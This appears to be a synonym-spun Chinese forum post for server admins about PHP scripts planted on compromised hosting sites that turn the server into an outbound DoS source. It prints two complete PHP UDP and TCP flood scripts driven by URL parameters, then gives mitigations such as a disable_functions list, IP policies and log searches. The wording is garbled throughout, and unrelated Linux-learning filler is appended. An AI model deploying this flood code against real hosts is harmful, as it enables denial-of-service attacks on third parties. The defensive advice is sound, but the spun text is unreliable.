来一发php对外发包激发服务器溃散的最终办理办法分享[保举]
在这里你会学到更多的知识,学习linux,更要学习一种geek的精神,python之禅中也说过:以总结分享为荣,以跪求其解为耻;1、php对外发包剖析
用php代码挪用sockets,间接用服务器的收集打击其余IP,罕见代码以下:
.代码以下:
$packets=0;
$ip=$_GET;
$rand=$_GET;
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time=$_GET[ ime];
$time=time();
print"Flooded:$iponport$rand
";
$max_time=$time+$exec_time;
for($i=0;$i<65535;$i++){
$out.="X";
}
while(1){
$packets++;
if(time()>$max_time){
break;
}
$fp=fsockopen("udp://$ip",$rand,$errno,$errstr,5);
if($fp){
fwrite($fp,$out);
fclose($fp);
}
}
echo"Packetcompleteat".time(h:i:s)."with
$packets(".round(($packets*65)/1024,2)."mB)packetsaveraging".
round($packets/$exec_time,2)."packets/s
";
?>
2、体现特性
一翻开IIS,服务器的流出带宽就用光-----就是压服务器不休向他人发包,这个情形和遭到DDOS打击是分歧的,DDOS是服务器不休收到大批数据包.
近期因为DEDECMS呈现毛病而招致大批服务器呈现这个成绩.
怎样疾速找到这些站?
你能够翻开日记
C:WindowsSystem32LogFilesHTTPERRhttperr...log,翻开明天工夫的文件,
内里有相似如许的纪录:
2011-04-2606:37:2858.255.112.1122681798.126.247.1380HTTP/1.1GET/xxxx/xxxxxx.php?host=122.224.32.100&port=445&time=120503783Disabled30_FreeHost_1
最初三项783Disabled30_FreeHost_1
783就是这个站在IIS中的ID
30_FreeHost_1就是地点池
3、办理举措
1.按上述找到这个网站后中断它.或中断池,偏重启IIS.
2.在IP战略,或防火墙中,克制一切udp向外发送
在星外最新版本的平安包中,已带有4.0版本的IP战略【下载safe包】,您导进后就间接能够限定了外发的UDP包。下载这个包,以后导进平安战略。但这个战略并没有封闭DNS端口,部分打击仍是无效.
为懂得决这个成绩,你也能够调剂IP战略,限定udp只能会见特定的DNS服务器IP,如8.8.8.8,除非黑客打击这个IP,否则打击也是有效的,你能够在网卡DNS中设置一个你才晓得的DNSIP,而且不要公然,然后挪用IP战略中的udpopen部分就能够办理.(翻开IP战略的属性,双击open,将open中的两条udp纪录删除恣意一条,在保存的这条中,双击,改成地点从源地点任何地点到方针地点"特定IP这个IP就是设置为你本人的DNSIP,如8.8.8.8"保留后就好了)
在2011-4-27,我们上传了新的平安包,内里有一个"星外假造主机办理平台IP战略封闭一切UDP端口用.ipsec"文件,您能够导进它并启用,就能够封闭一切udp端口,就能够完整避免这类打击,可是,这个战略因为封闭了DNS端口,会酿成的这台服务器上没法用IE会见任何域名,因而,用户的收罗功效也就用不了.(一样,假如在主控网站上用了这个战略,就会酿成的受控自检欠亨过,由于剖析不了域名,别的,部分用户反应此战略会酿成的mysql不一般)
3.用一流信息监控,在SQL拦阻及网址拦阻中,拦阻port=这个关头词(其他关头词能够删除.)
4.也能够间接克制下面的代码,如改winphp.ini后重启IIS
ignore_user_abort=On
(注重后面的;号要删除)
disable_functions=exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,
在前面加上
fsockopen,set_time_limit
但如许会形成良多php程序都不一般.
别的,这也标明你的服务器平安做得不错,假如能进侵.黑客就间接提权了,还DOS做甚么?
近期已有新的基于TCP打击的PHPDDOS代码以下:
.代码以下:
set_time_limit(999999);
$host=$_GET;
$port=$_GET;
$exec_time=$_GET;
$packets=64;
ignore_user_abort(True);
if(StrLen($host)==0orStrLen($port)==0orStrLen($exec_time)==0){
if(StrLen($_GET)0){
echo$_GET.$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER)."|".
php_uname()."|".$_SERVER.$_GET;
exit;
}
exit;
}
$max_time=time()+$exec_time;
while(1){
$packets++;
if(time()>$max_timeor$exec_time!=69){
break;
}
$fp=fsockopen("tcp://$host",$port,$errno,$errstr,0);
}
?>
一样,能够采有以下办理举措:
1.也能够间接克制下面的代码,如改winphp.ini后重启IIS
ignore_user_abort=On
(注重后面的;号要删除)
disable_functions=exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,
在前面加上
fsockopen,set_time_limit
但如许会形成良多php程序都不一般.
2.在IP战略中克制一切外访的TCP数据包,但如许会酿成的收罗功效有效,也不克不及用在主控服务器上。
3.在服务器要用关头词tcp:或udp:搜刮一切php类文件,找到打击文件,删除它。
以上办法供vps、服务器托管用户进修!
常常有些朋友在Linux论坛问一些问题,不过,其中大多数的问题都是很基的。 在系统检测不到与Linux兼容的显卡,那么此次安装就可能不支持图形化界面安装,而只能用文本模式安装等等。 我们这一代90后,从小接触的是windows98,家里条件好的自己有电脑装的是2000,后来又有了XP,上大学时又有了win7。 在系统检测不到与Linux兼容的显卡,那么此次安装就可能不支持图形化界面安装,而只能用文本模式安装等等。 硬盘安装及光盘安装,清楚了解安装Linux应注意的有关问题,如安装Linux应在最后一个分区内,至少分二个分区。 选择一些适于初学者的Linux社区。 Linux操作系统这个名词记得在很早以前就听过,但当时并不知道具体是什么样的操作系统,只知道是一个与嵌入式密切相关的操作系统。 这种补充有助于他人在邮件列表/新闻组/论坛中搜索对你有过帮助的完整解决方案,这可能对他们也很有用。 Linux?最大的优点在于其作为服务器的强大功能,同时支持多种应用程序及开发工具,所以Linux操作系统有着广泛的应用空间。 熟悉操作是日常学习Linux中的三大法宝。以下是作者学习Linux的一些个人经验,供参考:
页:
[1]